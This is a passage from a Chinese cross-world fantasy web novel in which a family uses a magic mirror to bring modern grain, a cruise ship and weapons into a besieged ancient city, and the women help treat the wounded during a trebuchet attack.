马上,晋州那边袁归还会送一车过来。 这么多粮食,当然不能无偿供给。升米恩,斗米仇,这个道理她还是知道的。 但定多少卖价?她一时拿不定主意。 晋州那边的粮价是粟米三十文一升,黍米三十六文钱一升。 而郴州这里的原价就几乎翻了一番。后来的涨价更吓人了。 这些粮食自然不能按照涨高的价来卖,但是按照晋州那边的粮价来卖,势必会在郴州引发不小的轰动,对这里所有的粮商造成近乎毁灭打击。 这里的粮商从此以后还能对他们有好脸色吗? 虽然,她并不稀罕这里的粮商的好脸色,但是,能不树敌,还是不要树敌的好。 如果按照郴州这边原有的价格来卖,一旦让郴州的百姓知道了晋州的粮价…… 那晋州军拿出军需粮食的大义就大打折扣了。 谢云溪正纠结着,念荟在院子门口喊道:“夫人,老爷的通话来了!” 谢云溪愣了愣,才想到应该是对讲机响了。 “进来吧!” 拿着对讲机进来的念荟吓了一跳,看着院子里堆放的粮食呆了呆。谢云溪伸过手来,她才回过神。 谢云溪接过对讲机后,念荟就退了出去。谢云溪喂了一声。袁博文的声音立刻传了过来。 “粮食的事情,张时文跟我说了!这个主意你是怎么想出来的?好!很好!” 谢云溪笑了。 “你跟淼淼联系了吗?她今天能买到多少粮食?如果不多的话,军/需所管够!” 谢云溪看着面前堆积的粮食说:“她手上原本就有,现在已经传了过来。粟米和黍米各是五吨!我给袁归写了封信,让他把晋州那边的粮食拉一车过来。这些加起来,应该能撑一段时间了。” “袁归大概什么时候能到?” “酉时左右吧。” 袁博文顿了顿:“到时候我派几辆卡车过去,你让连虎他们把粮食搬到车上,在城里转上两圈!” 谢云溪忍不住笑了。 这是要让郴州城里的人都知道粮食是军需所拿出去的吗? “梧桐巷进去的巷子口有两家连着铺面,都是无主的,房契文书等都在江虎手上,一会儿我让他给你送过去。你让连虎把粮食拉到那里去售卖。门匾来不及制作了,你们就拉根横幅吧。” “好,我知道了。”谢云溪答应了,又关心问道,“你还好吧?” “我没事。”袁博文回答,顿了顿后,又说,“昨天的伏击出了点意外……” 谢云溪没有说话,她听出袁博文的语气有些黯然。 “这些等我回去后,再跟你说吧。明天我会抽空回去一趟。” “好,你自己注意。”谢云溪正要挂断,突然想到了一件事情,“对了,这些粮食怎么卖?” 她把晋州的粮价、郴州原本的粮价已经后来涨高的粮价都告诉了袁博文。 袁博文想了想:“就按着郴州原本粮价来卖吧。以后郴州的人发现了,咱们可以推到市场不同这个理由上来。” 谢云溪答应了。按着郴州原来的粮价来卖,这几万吨粮食,他们至少能赚到数十万。 挂断通话后,谢云溪叫来念荟,让念荟通知连虎,去买两百个麻袋过来。 等袁归从晋州过来的时候,天已经黑了,堆放在院子里面的粮食都套上麻袋了。 一会儿后,谷雨带着两辆卡车回来了。 粮食被搬到了卡车上。 郴州的夜晚,往日流连大街的人原本就不多,进来局势变幻莫测,大街上的人更少了。 但卡车的鸣笛声响起时,郴州城里的人还是吓了一跳,许多人都出来看究竟了。 两束耀眼的光芒从不远处照过来,将郴州大街映照得犹如白日,缓缓开过来的庞然大物上面罩着一层黑色展布,展布上面还拉着一根横幅,写着硕大的军需二字。 出门的人都看呆了,不管是缓缓过去的庞然大物,还是上面标注军需二字,都让他们吃惊不已。 “这是晋州军的车吧?怎么开到这里来了?” “车上是什么?” “是粮食!听说郴州城内粮食不足,晋州守军袁大人拿出了军需粮食!” “军需粮食?不可能!” 以前总听说军需缺粮,下乡各种征讨,粮商们也要拿出他们的粮食,不听不行,都得要上交。 从来都没有听说落到军中的粮食会反流到民间的事情。 议论声更多了,大多数人都不相信。 如今的粮食就是人命,有谁会轻易把粮食拿出来? 没看到城里的粮价都涨到天上了吗? 今日白天,涨到天上的粮食都买不到了。 城里的粮行都关门了。 下午,有人聚集到府衙请命,请求府衙如今的主事张时文张大人要为老百姓着想,不能让城里的人没有粮吃。 这件事情的背后是谁鼓动?明白的人一眼就能看出来。 但是,粮价再高,总比没粮吃要好。 第99章 第99章 歪打正着 张大人发了话, 表示他们一定想办法解决城中缺粮的问题,这才将聚集的人群打发了。 不过,聚集的人群虽然散了, 但是相信张时文的人却不多。 不让涨价, 城内的粮行都不开门, 张大人总不能拿着qiang逼着粮行开门吧? 如此做法, 晋州军跟北凉人又有什么区别? 布下这局的人实在高明,即便知道是谁, 也不得不按照他们的路走。许多人都等着府衙那边去找各大粮商低头。 结果,军需所拿出粮食了?! 一连好几辆大车,在郴州街道开过的速度并不快,出来观看的人也越来越多了。 说什么的都有。 直到车开到了梧桐巷的巷子口停下来, 一路跟过来的人这才觉得或许是真的。 军需所真的拿出了军需粮草。 梧桐巷巷子口两家连着的铺面原本一直关着,这天大门洞开着, 里面有许多士兵正在忙碌,府衙张大人也在其中。 大车上的粮食被搬进铺子里,粮袋上专属军需的标识格外清楚。有人在铺子原本门匾的地方正在挂横幅,上面写着:米粮有售。 旁边红纸黑字标出的米粮的价钱:粟米五十文一升。黍米六十文一升。 看到告示的人们炸开了锅。 “这粮价是真的吗?竟然跟涨价前的一样!” “是谁都可以购买吗?有没有限量?” “什么时候开始售卖?” 张时文站在铺子门口, 让大家不要挤:“大家都看到了!放心吧!我们郴州有粮!袁大人不会让我们郴州的百姓饿肚子的!” 面对七嘴八舌的问题。张时文回答:“明日卯时,准时开始售粮!价格:粟米五十文钱一升,黍米六十文钱一升!人人都能买到!” 他的声音不小,远远传开了,但人们还是纷纷往前挤。 看清楚告示内容的人好不容易从人群里挤了出来, 一脸欣慰笑容。 有粮了!大家有活路了! 第二天, 天还没亮,梧桐巷巷子口的粮行门口就排起了老长的队伍。昨晚上运粮的大车还没有开走,就停在旁边, 车身上军/需的字幅还在。 张时文让人在粮行门口放了张桌子,桌子上摆放着两个小袋,小袋里面则是这里出售的粟米和黍米的样品。 排在队伍前面的人一眼就看到了袋子里的米粮。粟米颗粒饱满,颜色金黄,里面竟然一点糠屑都没有。走近了,还能闻到一股清新的米香。 品质居然是难得的好。 这样的粟米在郴州的粮行可不仅仅只卖到了五十文一升。这是专供给有钱人,六十文钱一升七十文钱一升都有人买。 开始售卖了,排队的人挨个上前。 坐在桌子后面的袁归问:“你要多少?” 被问到的人半夜里就过来排队了,想到眼下的局势,虽然今日袁大人拿出了军/需粮食,许是明日就没了。 城里有那么多人,军中的人也不少。 他舔着笑脸回道:“粟米五升!” 这个份量足够他家几口人吃上四五天了。话出口后,他忐忑不安看着袁归,生怕他说出一个不来。 袁归低下头拨了几下算盘,高声喊道:“粟米五升,共计两百五十文钱!” 称量好的粟米很快就被提到桌子上,半开的袋子里米香扑鼻。 伸长了脖子的人们纷纷点头:“这米真不错!” “那是!你们也不想想,这粟米原来是给谁吃的?” “不愧是军需粮草!比城里粮行的粮食好多了!” “别提那些粮行了!都是黑心肝的!北凉人还没有来,他们就涨价了!府衙下令限价,他们就关门!看看人家袁大人,听说城里缺粮,二话没说就拿出了军需粮草!这才是一心为民的好官!” “对!要不是袁大人打跑北凉人,咱们现在还得看北凉人的脸色过日子!一个不小心,怎么死的都不知道?” 说起北凉人,鲜少有不恨的,这年月几乎家家都有人死在北凉人的手上,可恨他们无力反抗,只能任由欺辱。幸亏袁大人带着晋州军赶跑了北凉人,替他们报了仇。 念荟在附近转了一圈,回去后就把听到的话告诉了谢云溪。 谢云溪笑了笑。这次的事情完全是歪打正着,她也没想到。 那些粮商以为掌握了粮食,就能让府衙低头,结果撞到枪口上了。 粮食,要多少她就能有多少,价格也不是问题,对于她来说,也就是赚多和赚少的问题。 不过,能借此拉拢一波人心,算是意外之喜。 袁博文说了这天要回来,谢云溪便没出门,在府衙里面看袁淼传过来的船舶资料。 中午,谢云溪等人才吃过饭,袁博文就回来了。 “吃过了吗?” 袁博文摇头,他是从梧桐巷那边过来的。 都中午了,那边依旧人山人海。 谢云溪早就知道了梧桐巷那边的情形,连虎过去看了好几次,说排队买粮食的人都在夸袁大人如何如何好,城里的那些粮商各个都是奸商,眼睛只有钱。 谢云溪让念荟又摆了饭菜。袁博文狼吞虎咽吃了几口,感慨说:“还是家里的饭好吃啊!” 谢云溪在袁博文旁边坐下来。她知道军需所的粮食虽然都是女儿从现代购买的,但是军中的兵大多都是北地人,他们的主食通常就是粟米和黍米。 袁博文虽然喜欢吃大米,但他身在军中,自然不能特立独行。 “你从梧桐巷那边过来,看到张大人了吗?” “看到了,他在忙,我没有过去。” 谢云溪说:“这次的事件里面也有何家的身影。” 袁博文点头:“张时文昨天也跟我说了,何记粮行就是这次带头涨价的粮行之一。” 谢云溪感慨:“这何家真是越有钱越喜欢搞事!昨天,我听张时文说起,才知道他家在郴州竟然有三家粮行。” 袁博文笑了下:“放心,马上他家的粮行就要彻底关门了。” 谢云溪惊了一下,“你准备怎么做?人家可没有违抗府衙命令。你如今名声才好一点,可不能让人抓住了把柄。” 袁博文笑着说:“我知道,咱们的好名声来的不容易,我不会胡来。何记粮行是没有违抗府衙限制涨价的命令,只是关了门不营业。但是,在此之前,何记粮行制造恐慌,推高粮价,扰乱市场!这些都是事实,而且人证物证都有。理应受罚!府衙关他一段时间,想必没有人会说什么。” 谢云溪笑了。 今天的卖粮事件后,想必城里的粮行也会陆续开门。论价钱,他们的粮食跟军需所拿出来的粮食一样,但是论质量,那就远远不如了。 现代化机械脱壳的米粮不仅颗粒完整,而且还没有糠屑。 两下对比,只要不是傻子,都知道买谁的。 有女儿那边的帮衬,粮食军需所可以一直卖下去。这样一来,城里的其他粮行就不得不降价卖了。 米粮这种东西,放久了容易生虫。何记粮行的人进了府衙牢里,关上一段时间,他家粮食的就算是废了。 “不过,何家肯定会来找你!人家前段时间可是给你送了大礼。你先想想,何家上门了,你怎么说。” “我?”谢云溪笑着说,“我能怎么说?你自己都说了何记粮行推高粮价,制造恐慌,扰乱市场,都是事实,既然事实,那就不是我能插手的事儿了。” 她没落井下石,都算是不错了。 袁博文冲谢云溪竖了根大拇指。他和谢云溪的想法一样,对上何家这样,用不着心慈手软。 谢云溪笑了,一会后,又低声说:“淼淼昨天跟着王所长去了一趟华庆船厂,他们的船不错,王所长说,只要咱们这边准备好了,船可以马上传过来。” 袁博文想了想:“……那就今天晚上吧。” 北凉人要来了,船必须得准备好了。晚上光线不好,船突然出现,不容易被人看到。 “好,我跟淼淼说。昨天,她也传了些资料过来,你有时间看吗?” 袁博文叹了口气。 谢云溪没好气说:“知道你没时间,我正在看,不过……能不能学会?我可不敢保证。” 袁博文立刻点头:“你一定能行!” 谢云溪却表示怀疑,她觉得自己有可能是怀孕的缘故,记忆力都在下降。看袁淼传过来的资料,犹如在看天书。 袁博文也不希望谢云溪累到:“你也别逼自己,能看多少就看多少。咱们也不是马上要走。等我这边告一段后,我们一起学习。” 谢云溪点头了。 “晚上,我和淼淼就等你了。” “好,我大概戌时到家。” 谢云溪又问:“你昨天说,落日谷伏击出了点意外,到底怎么回事?” 袁博文的脸色冷了下来:“有几个不听话,这次都受到了教训,好在应对及时……死了五十四人。” 受伤的就不少了。 谢云溪拍了拍袁博文肩膀,她知道袁博文并没有打算与这次来的北凉骑兵近战,毕竟双方优劣太明显。短兵相接,无疑是他们劣势,所以从一开始就打算伏击,不恋战。 大概是有人看到北凉骑兵被炸/死了不少,产生了轻敌的想法,贸然出击,吃了点亏。 不过,整体依旧是大胜。 “连续打了两场胜仗,都觉得自己了不起了!让他们清醒清醒也好!”袁博文冷冷说道。 “你也别难过,相信他们一定会记住这次的教训。”谢云溪安慰说。 她知道军中会使枪的人并不多,袁博文始终有顾虑,担心自己离开后,会给留下来的人带来麻烦,枪/械等并没有让军中所有的人接触到。 会使枪,会开车的这波人可以说是他一手带出来的,而且年纪都不大。一下子没了五十多个,确实让人痛心。 袁博文叹了口气:“北凉的大部队大概后天就到了,这两天我可能都不回来,你自己留点心。” 谢云溪点头:“这次来的人多吗?” 袁博文微微点了下头:“差不多有六七千人吧,他们还带来了攻城车。” 谢云溪吃了一惊:“攻城车?什么样的?” 袁博文形容了一番:“……这种攻城车可以拉动好几百斤的大石头,投放到城内,到时候靠近城墙附近的地方都不会安全,这次你别去医棚那边帮忙了,那里也不安全。” 谢云溪蹙着眉头,她有个大概印象了。 袁淼传给了袁博文许多军事方面的书籍,有一些她也看过。这次北凉人带过来的攻城武器大概类似历史上的投石车,对城墙等建筑物会造成惊人的破坏力,是攻城战中十分厉害的军/械。 当然,人如果被砸中了,也别想好活。 “不过,你也别担心。这种攻城车虽然厉害,但是移动不方便,我们的火/箭/炮精准度不错,刚好能克这种。” 伏击北凉先头部队后,军中的斥候就发现了北凉大军的身影,通过这两天的探查,他们已经知道了对方不少信息。 原本,他打算再次伏击,但是落日谷一战后,他们虽然胜了,但还是让不少北凉骑兵逃了出去。 已经用过一次伏击就不好再用了。 好在斥候营给力,仅仅两天,不仅知道这次北凉的兵力情况,还知道他们带了些什么。 攻城车这类东西在这次的北凉南下大战中还是第一次出现,以前北凉攻城最多也就用天梯和巨木,这两样一个可以撞开城门,一个可以攀爬到城墙上。 他估计应该是北凉知道他们有手/雷和炮/弹等现代化军械,所以,这才拿出了攻城车。 因为,有了手/雷,巨木的用处的就不大了。天梯在机/枪火力的压制下,发挥的作用也极其有限。 攻城车就不一样。它可以远程打击,对城墙等建筑物可以产生摧枯拉朽的破坏力。 可惜的是,北凉并不知道他们还有火/箭/炮! 现在,他很想知道北凉人在知道他们不仅有手/雷,还有枪/炮等现代化军械时,会采取什么样的战术? 吃过饭后,袁博文就离开了。谢云溪联系了袁淼,把要买船的事情告诉她。 袁淼连忙联系了王振声。 来到船厂后,袁淼发现游轮停靠的附近已经拉上警戒线,周围空无一人。 “谢谢王所长!”袁淼感激说。 王振声笑着回道:“去吧!不会有人看见。” 袁淼点了点头,走向不远处停靠的游轮。拿出了镜子,等了一会,镜子就出现了变化。 提着灯的袁博文和谢云溪出现在镜子里面了。 “爸,妈!”袁淼叫了一声。 谢云溪说:“我和你爸已经到了海边,你那边怎么样?安全吗?” 袁淼点头:“很安全,王所长他们都安排好了,这里没有人。” 袁博文和谢云溪都松了一口气。 “好!你把游轮传过来吧!” 袁淼把镜子对准了游轮,念起了咒语,话音刚落,她身后的游轮就不见了。 出现在了镜子里面距离父母不远处的海面上。 谢云溪看着突然出现的庞然大物,一时间连呼吸都忘记了。 袁博文也好一会儿才回过神来,眸子里满是惊喜,眼前的游轮比他想象中更大更豪华。 “淼淼,游轮的资料可以传过来了。” 袁淼连忙说:“资料就在游轮上,还有视频,都放在会议室的办公桌上了。” “好!”袁博文已经迫不及待想到上船看了。 谢云溪对袁淼说:“王所长那边,你得好好感激人家!” 袁淼点头。她知道父母此刻的心思都在游轮上,便不再多说,断开了联系。 收起了镜子后,袁淼看着眼前空阔的海面,一时间怀疑这里是不是原本就没有东西。 那么大一艘游轮,足有六七层楼那么高,三四个单元楼那么长,竟然悄无声息从这里去了另一个世界。 但是刚才在镜子里,确实出现了一艘一模一样的游轮。 通界宝镜太神奇了!也不知道是什么谁造出来的? 感慨过后,袁淼离开了海边。王振声还在原地等着。 “王所长!” 王振声抬起头来:“好了吗?” “嗯!”袁淼笑着点头。 王振声探头看了看,但是他所站的位置被建筑物拦住了,什么都没有看到。 袁淼笑着侧了侧身。王振声实在好奇,拉起警戒线过去了。 空阔的海面波光粼粼,周围一切照旧,唯独停靠在这里的一艘游轮不见了。 王振声愣了愣,随后又揉了揉眼睛。确定没有看错。 他不由得暗自惊叹。大千世界,无奇不有。一艘五六层楼高,四五个单元楼那么长的大型游轮真的瞬间去了另一个世界。 而他就站着离这里不远的地方,一点儿动静都没有听到。 袁博文提着灯,牵着谢云溪上了船。看过了游轮构造图纸的谢云溪很快就找到了开关。 灯亮了。 眼前的一切犹如梦幻中的场景。 袁博文和谢云溪都愣住了。 * 郴州城墙上的号角声吹响的时候,谢云溪正在房里翻看船舶资料。谷雨跑了进来,气喘吁吁说:“夫人,北凉人来了!” 谢云溪侧耳听了一阵,号角声依旧在响,许多车辆从大街上驰过,赶往战场的士兵们脚步齐整,甲胄与刀枪碰撞的声响冷冽且森严。 她放下了手中的资料,在念荟的帮助下穿好了防护衣。又让贺天凤把关景钰等人带了过来。 女孩们正惶惶不安,但依旧记得礼节。 谢云溪说:“我一会儿要去医棚那边帮忙,你们要不要跟我一起过去?” 关景钰站了出来:“谢姨,我跟你一起去。” 张二小姐连忙举起手:“我也去!” 第100章 第100章 攻城 张二小姐连忙举起了手:“我也去!” 孙舒兰和另外两位小姐也站了出来。 谢云溪心里欣慰, 说:“医棚那边人多杂乱,你们既然要跟着我一起去,那就把身上的首饰都取下来吧, 换上这两件衣裳。” 她看向已经整理出来的防护衣和外套:“这件穿在里面。那件穿在外面。” 女孩们领了话回房间更衣了, 谢云溪担心她们不会穿, 又给了念荟一个眼色, 让她去看看。 一会儿后,换好衣裳的女孩们出来了。除了关景钰面色如常以外, 其他四个女孩都有些别扭。 现代的防护衣是套头穿的,与这里的衣裳穿法不一样。显然让女孩们吃惊了。 至于外套,倒是与这里的衣裳差不多,只是袖口是紧束的。 “走吧!” 谢云溪起身, 带着一众人来到大街上。卡车从街上呼啸过去,以往被围观的场景不见了, 街上行人寥寥,且都匆匆忙忙。 来到枫叶巷,住在这里女孩们从房间里陆续出来了。宋婆婆牵着孙女宋玉如匆匆过来:“夫人!” 谢云溪微微颔首招呼,抬头看了看站在门口的女孩们。 “今日我们要去医棚那边看看, 你们有人想跟着一起过去吗?” 一会儿后,叶淑婉站了出来。关景钰嫣然一笑,连忙过去牵住了她的手,把人带过来。紧接着胡冬梅也站了出来,蒋新月看了看姜云枝, 两人也一起站了出来。 谢云溪见到剩下的人有的在犹豫, 有的低下了头。她不再等了。对念荟说:“你带她们把衣裳换了吧。” 念荟带着女孩们换了衣裳出来,孙舒兰等人面面相觑,她们身上的衣裳跟这里的女孩们一样, 只有关景钰拉着叶淑婉喜形于色。 谢云溪知道女孩们在想什么。既然要去医棚帮忙,那平日的穿着就不合适了。至于做成了一模一样,一来是方便辨认,二来,也是让女孩们少些心理负担。 不过,她手上的防护衣不多,只能够关景钰等人穿上。 谢云溪见大家都准备好了,便带着她们一起来到了城墙根下。这里的人们正在紧张忙碌着,城墙上的号角声依旧呜呜响着,即便是隔着厚重的城墙也能听到城外整齐划一的脚步声和鼓声。一下一下,像是在心口敲击,无端让人紧张。 一会儿后,城墙上号角停了下来,冷冽的寒风似乎也突然停了下来。脚下的地却在震动,如雷鸣般汹涌的马蹄声从城外传了过来。 第一发炮/弹落下的声音似乎就在耳边,脚下的地像是也跟着颤了颤。 跟着谢云溪身后的女孩们有几个吓得缩了缩身子,下意识想要去捂耳朵,但是看到前方挺着大肚子目不斜视往前走的谢云溪时,她们放下了手,挺直了背脊。 “放/箭!” 城墙上有人高声喊道,弩/箭破空的声音和机/枪发射的声音同时响起了,细细密密,伴随其中的是一声接着一声的爆炸声响。 零星有羽箭越过了郴州城墙,从人们的头顶上飞了过去,射中了不远处营帐。 原本落后几步的贺天凤连忙来到谢云溪跟前,抽出了手中长剑,警惕看着四面八方。 有伤员从城墙上抬了下来。 谢云溪来到医棚时,里面已经忙开了。她回头对身后的女孩们说:“都把口罩戴好!” 说完,她自己戴上了口罩。 念荟连忙给每个女孩都发了一个口罩,并且教她们戴上。 戴上了棉布口罩和穿上了外套的女孩们几乎看不出谁是谁了。 谢云溪快步走到医官刘泰海旁边,见他正准备给一位伤患拔/箭,连忙帮忙。 羽/箭被拨了出来时,刘泰海身上也溅上了许多血血,他来不及擦拭,正要给伤口止血,旁边突然伸过来一只手,手上正拿着他需要止血药粉。 刘泰海抬头看到是谢云溪,松了一口气,笑容出来了说:“袁夫人来了!” 袁淼点头:“刘大人,他的箭已经拨出来了,接下来让念荟处理吧,你去忙其他的。” “好!”刘泰海顿都没打就应下来了。他知道不仅谢云溪医术了得,她身边的丫头也十分能干。 念荟站到了刘泰海让出位置上来,麻利剪开伤患伤口周围的衣裳。 谢云溪对身边的关景钰说:“把那边的碘伏和纱布拿过来……对!就是那个!还有旁边……白色的纱布……” 关景钰很快就拿来了东西。念荟接过后,清理了伤口及周围。 要包扎伤口了,谢云溪后退了一步,对身边的女孩们说:“你们去帮他翻一翻身。” 关景钰和叶淑婉过去了。但女孩们劲小,加上胆怯,竟然没能让昏迷的伤患翻过身来。 谢云溪往后面又看了一眼,宋婆婆挽起袖子就上了,姜云枝和蒋新月看了一眼,连忙也过去帮忙了。 看到医棚里面场景的孙舒兰原本危危欲坠,但看到周围的人都过去了后,她咬了咬牙,也哆哆嗦嗦上前了。 伤患被翻了起来,念荟很快就把伤口包扎好了。 招呼人手把伤患抬到一边后,念荟刚松了一口气,又听到谢云溪在喊:“念荟!” 念荟小跑过去。这次是一个伤到肩甲的士兵,羽/箭穿过了他的肩甲,他半边身子已经被鲜血染红。 谢云溪说:“他伤的位置跟刚才的那个一样,先消毒伤口周围,再拔/箭!” 念荟点头,消毒了手后,开始忙了。 消毒拔箭止血包扎,还没有完成,就听到外面传来砰一声闷响,像是有什么重物砸了下来,脚下的地都跟着晃了晃。 外面叫声喊声响成了一片。 念荟不知道外面发生了什么,正愣神,突然听到谢云溪喊:“快!赶快包扎!” 念荟回过神来了。 以前听到的故事从她的脑海里一闪而过,她镇定下来了。迅速完成包扎。 才忙完手里的事,念荟突然感觉不好,她刚抬起头,就看到一个偌大的东西砸穿了医棚,以迅雷不及掩耳之势砸落了下来。 有人推了她一把。 念荟往旁边倒去,刚扑到地上,就听到身后传来砰一声巨响,尘土飞扬,周围的一切都变得迷糊起来,耳朵似乎也坏了,嗡嗡作响。 念荟晃了晃头,耳朵里的声音才恢复了正常,周围叫声喊声哭声响了一气。 她转过身,看到自己刚才站着的地方落了一块巨大的石头。原本平整的地面都被砸出了一个偌大坑洞。 念荟身上的冷汗一下子出来了。 若是她刚才来不及扑倒,一定会被眼前的巨石砸成肉酱! 看着眼前足有一人高的巨石,念荟狠狠咽了咽口水,突然想到了谢云溪,她慌了神,连忙爬起来呼喊:“夫人!夫人!” “我在这儿!” 听到熟悉的声音后,念荟赶紧过去。 贺天凤正护在谢云溪身前,抓着一把长剑,警惕看着周围的一切。 念荟一把抓住了谢云溪的手,将她上下看了一遍。 谢云溪说:“我没事!你去看看那人,还有没有救?” 念荟回头,巨石落下的地方,上面的医棚顶已经破了一个大洞,将原本摆放在那里的一张诊疗床砸的稀烂,巨石的旁边躺着一个士兵,不知道是被巨石砸中了,还是被吓到,躺在那里,一动不动,死活不知。 念荟连忙过去摸了摸他的颈动脉,又看了看他的眼睛:“夫人,还有救!” “好!快把他拖过来!”谢云溪说。 刚才落下的巨石毫无疑问应该是投石车投进来,她不知道下一块石头会落到哪里。但是紧靠着城墙,无疑被砸中的概率最小。 念荟赶紧拉人,贺天凤也过去。两人一起把那人拖了过来。 念荟迅速将他摆平,规律按压起来。 谢云溪看着眼前的巨石,擦了擦头上冷汗,投石车破坏力属实惊人,只这两下就将花费了一天时间搭建起来的医棚砸得稀烂了。 一眼看过去,至少伤了上十人,躺在地上不动的,还有两个人,也不知道伤得怎么样了。 这还只是医棚这边。城内其他地方肯定也有被投石车砸中的。 也不知道郴州城墙挨了几下,受损情况怎么样。 她刚才也吓了一跳,幸亏贺天凤就在旁边,护住了她。 这会儿,她的心跳都没有平复下来。 摸了摸肚子,深深吸了一口气后,谢云溪对贺天凤说:“你去帮帮念荟,跟她换个手。” 心肺复苏是个体力活,女孩儿体力大多不如男子,贺天凤跟在她身边也有不短的时间了,这些常见的急救处理,她也会。 贺天凤过去了,将念荟换了下来。 念荟喘着粗气来到谢云溪身边。 谢云溪看了看周围,孙舒兰和许小姐等人都在,但都吓到了,挤在角落里。唯独关景钰和叶淑婉没有看到。 她心里一惊,对念荟说:“我没看到景钰,你快去找找她。” 关景钰是关正的女儿,庄静把人交给她的时候,虽然什么话都没有说,但她知道庄静是把关景钰的安危交给了她。 念荟迟疑了片刻。 谢云溪又说:“我在这里很安全,你快去!” 念荟这才点头。 城外又传来一声巨响,像是发生了爆炸,声浪使得空气中的尘土都颤了颤。 谢云溪看向顶上的城墙,足有十来米高的城墙上传来了机/枪连续不断的扫射声。旁边的石阶上士兵们来来往往,其中有好几个人扛着火/箭/筒上去了。 巨大的爆炸声陆续响起,她靠着城墙都在颤抖,浓烟从城墙外面飘了进来,喊杀声铺天盖地。 好一会儿都没有看见巨石投进来了。谢云溪这才松了一口气,走到贺天凤旁边来。 贺天凤的体力明显比念荟要好,好几分钟过去了,她也没有流露出无力的样子。 一会后刘医官来了,看了看伤者后,招呼喊道:“快!快将他抬到里面去!” 伤者被抬走了,贺天凤若无其事拍了拍手。 念荟带着关景钰和叶淑婉也过来了。两个女孩儿身上都有血,口罩上和头发上也都落了一层灰。 谢云溪抓着她们问:“你们俩没事吧?” 关景钰和叶淑婉都摇了摇头。 巨石落下来的时候,她们正在忙,城墙上面抬下来了一批伤员,抬着担架士兵喊:“医官呢?郎中呢?快来看看!” 关景钰就在旁边,连忙迎上去询问:“怎么了?他们是怎么受伤的?” 抬着担架的士兵回道:“炸/膛了!你快看看!” 关景钰不明白什么是炸/膛。叶淑婉看到担架上的伤患半边脸血肉模糊了,脖子处淌着一大片血渍。 她想了谢云溪的教导,心里一惊,仔细一看,果然发现颈脖处有个地方正像小泉一样往外冒血。 叶淑婉心里一慌,手一下子按了过去。 大概是没有轻重,担架上的伤患原本闭着眼睛,此刻睁开了,看了看她。 叶淑婉连忙说:“你别动!” 那人原本想抬手,听她这么一喊,放下了手。 叶淑婉不敢松手,她记得谢云溪说过,人的颈脖处有条大血管,一旦受损,会引发大出血,导致迅速死亡。必须要快速抢救。 可现在袁夫人在哪里?念荟姑娘呢? 她不知道该怎么做?按着伤口,半点不敢松懈。看到关景钰回头,叶淑婉连忙说:“景钰,你快去叫人!他伤得很重!” 关景钰看了一眼,赶紧去叫人。 就在这时,巨石从天而降,叶淑婉吓得打了一个哆嗦,好在石头落下的地方离她有些距离,她再次按紧了伤患的伤口。 伤患原本锐利的眼神变得黯淡无光了,眼皮打着架像是要马上睡过去。 叶淑婉连忙又说:“你别睡呀!医官马上就来了!” 那人晃晃悠悠,将睡未睡,叶淑婉的心都悬起来了。 她记得袁夫人讲过,大量出血后出现嗜睡是要昏迷的前兆。 “你千万别睡呀!医官马上就来了!” 叶淑婉又叮嘱了好几次,总算看到关景钰领着一位须发皆白的医官过来了。 她松了一口气。 医官看了看伤员的眼睛,又看了看他颈脖处的伤,脸色变了,叮嘱叶淑婉:“小姑娘,按好了!千万别松手!” 很快,医官便让人拿了药和诊箱过来,处理了一番后,这才让叶淑婉慢慢松手。 叶淑婉松了手,伤口那处很快就冒出了血,但是比先前如小泉一样涌出的情况好多了。 医官松了一口气,继续小心翼翼处理伤口。 叶淑婉站到一边来,这才发现,自己出了一身冷汗,身上也没多少干净的地方了。 谢云溪听关景钰说了她们的经历后,点了点头:“好!你们俩跟着我们!不要到处走了!” 她不知道城外的投石车还有没有正在准备投射,但是她希望自己带出来的女孩们平安无事。 叶淑婉和关景钰都点头了。 医棚被砸烂了,刘泰海让人把病重的伤员都抬到尚未倒塌的另一边医棚里面,较轻的伤员则就放到了外面。 谢云溪忙了这么一会儿,有些累了。念荟连忙搬了一个凳子,扶着她坐下。 “夫人,要怎么做?你只管跟我们说!” 一旁的关景钰也在重重点头。 谢云溪笑了笑:“好!” 城外的号角声吹响时,谢云溪看了看天边,快到申时了。北凉人总算是打算退兵了。 城墙上的枪/声变得稀稀拉拉了,从石阶上下来的士兵在奔走相告:“北凉人退了!北凉人退了!” 许多人都露出了笑容。 好消息很快就传到了医棚这边,许多原本在呻吟的士兵也高兴起来。 医官们松了一口气。谢云溪站起来,对身后关景钰说:“去把孙小姐和宋婆婆她们都叫过来!” 关景钰应了一声,很快把帮忙的女孩们都叫了过来。 谢云溪看了看她们,每个人身上都有血,灰头土脸,与出门时候的样子大相庭径,但她们的眼睛却很明亮。 “差不多了,我们回去吧!” 女孩们都露出了笑容。 谢云溪找到依旧在忙碌的刘泰海,跟他告辞。 刘泰海拱了拱手:“多谢袁夫人!” 今天要不是有她带来的人手帮忙,医属的郎中们都得跑断腿。虽然大家现在也很累,但是一些跑腿的事儿有了应和的人,大家轻松了一大截。 “刘大人客气了!这里辛苦你们了!” 刘泰海笑着点了点头。 医治伤员,原本就是他们份内的事情。倒是袁夫人,这些原本与她不相干,她却不仅出人出力,还拿出了许多独家好物。 谢云溪带着众人回去的时候,大街上的人比他们出门的时候多多了,许多人都在谈论这场战事。 北凉人大举进攻,这次来了多少多少人,还带了攻城车,结果那攻城车没用几下就被袁大人的火/箭/炮给轰烂了。 谢云溪不知道这些人的消息是从哪里来的,居然知道袁博文这次拿出了火/箭/筒。 关景钰走到谢云溪旁边,低声问:“谢姨,今日落在城内的大石头真的北凉人投进来的吗?” 谢云溪点头:“那是投石车,能拉动数千斤的巨石。” 关景钰又问:“谢姨,你见过投石车?” 谢云溪笑着摇了摇头,想起了袁博文书房里的那些书籍:“我……听袁大人说过。” “袁叔也讲过火/箭/炮吗?” 谢云溪愣了愣,笑着点头:“……也讲过!” 关景钰还要再问,叶淑婉轻轻扯了扯她。 关景钰回过神来了。这段时间晋州守军中出现的军械在军中都是禁忌,除了神器营的人,其他各营的将士们知道的也不多。 将叶淑婉等人送回枫叶巷后,谢云溪就带着念荟等人就回到了府衙。 洗漱过后,谢云溪连抬手的力气都没有了,吃过了饭,睡了一觉,这才好些。 天已经黑了。 她看了看时间,已经是戌时了。念荟进来挑亮了灯芯。 谢云溪问:“老爷回来过了吗?” “没有呢,让谷雨回来了一趟,报了平安,又走了。” 谢云溪放了心。吃过饭后,在院子里转了几圈。念荟陪在她旁边,将她睡着的这段时间里发生的事情告诉了她。 北凉人退走的消息传开后,城里很快就热闹了起来,大街小巷许多人都在谈论这场战事。 